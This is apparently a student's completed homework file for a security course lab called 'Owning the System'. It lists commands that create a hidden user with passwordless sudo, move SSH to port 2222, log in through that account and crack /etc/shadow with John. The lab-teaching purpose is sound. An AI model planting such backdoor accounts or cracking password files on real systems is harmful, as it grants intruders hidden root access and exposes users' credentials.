

Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

- Your solution command here:

```
adduser --no-create-home sysd
```

2. Give your secret user a password:

- Your solution command here:

```
passwd sysd
```

3. Give your secret user a system UID < 1000:

- Your solution command here:

```
usermod -u 75 sysd
```

4. Give your secret user the same GID:

- Your solution command here:

```
groupmod -g 75 sysd
```

5. Give your secret user full sudo access without the need for a password:

- Your solution command here:

```
Sudo visudo
```

```
sysd  ALL=(ALL) NOPASSWD: ALL
```

6. Test that sudo access works without your password:

Your bash commands here:
Sudo -v OR sudo ls

Step 2: Smooth Sailing

1. Edit the sshd_config file:

Your bash commands here
Sudo Nano /etc/ssh/sshd_config
Port 2222

Step 3: Testing Your Configuration Update

1. Restart the SSH service:

- Your solution command here:
sudo systemctl restart ssh.service

2. Exit the root account:

- Your solution command here
exit

3. SSH to the target machine using your sysd account and port 2222:

- Your solution command here
ssh sysd@192.168.6.105 -p 2222

4. Use sudo to switch to the root user:

- Your solution command here
sudo su root

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

- Your solution command here
ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

- Your solution command here : *sudo john shadow*